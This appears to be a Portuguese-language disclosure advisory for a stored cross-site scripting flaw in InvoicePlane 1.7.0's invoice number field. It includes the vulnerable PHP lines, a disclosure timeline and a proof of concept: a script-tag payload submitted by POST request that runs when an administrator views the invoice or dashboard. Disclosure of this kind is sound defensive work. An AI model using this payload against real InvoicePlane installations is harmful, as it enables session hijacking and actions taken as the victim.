
Vulnerabilidade de XSS armazenado no InvoicePlane 1.7.0 por meio do campo de número de fatura não sanitizado, com prova de conceito e detalhes de remediação.
Vulnerabilidade: Cross-Site Scripting (XSS) Armazenado via campo Número de Fatura
Produto: InvoicePlane
Versão Afetada: 1.7.0 (e provavelmente versões anteriores)
Severidade: Média
Pontuação CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralização Incorreta de Entrada Durante a Geração de Páginas Web
Descoberto por: Leonidas Agathos
Data do Relatório: 2026-01-31
O campo invoice_number no formulário de fatura aceita entrada arbitrária sem sanitização. O valor é armazenado e renderizado sem codificação em vários locais: o título da página de visualização da fatura, o campo de entrada do número da fatura e o widget de faturas recentes do painel. O payload é acionado sempre que qualquer administrador visualiza a fatura afetada ou acessa o painel.
Arquivos vulneráveis:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Linha 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Linha 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Linha 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
Passo 1 — Injetar payload no Número da Fatura
Crie ou edite uma fatura em /index.php/invoices/form/{id} e defina o número da fatura como:
<script>alert("XSS in Invoices")</script>
Requisição:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Passo 2 — Acionar o XSS
Navegue até /index.php/invoices/view/{id} ou /index.php/dashboard. O payload é acionado no carregamento da página.

O payload é executado no navegador de qualquer administrador que visualize a fatura afetada ou acesse o painel. Isso possibilita o sequestro de sessão (se os cookies não forem HttpOnly), roubo de tokens CSRF e ações executadas sob a identidade da vítima.
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidade descoberta |
| 2026-01-31 | Prova de conceito desenvolvida |
| 2026-01-31 | Fornecedor notificado |
| 2026-02-04 | Reconhecimento do fornecedor |
| 2026-02-04 | Correção lançada |
| 2026-02-05 | Divulgação pública |
Esta vulnerabilidade foi descoberta durante pesquisa de segurança independente. Todas as informações são fornecidas estritamente para fins educacionais, de pesquisa e defensivos, para auxiliar o fornecedor e a comunidade de segurança a compreender e corrigir o problema. Qualquer uso malicioso destas informações é estritamente proibido.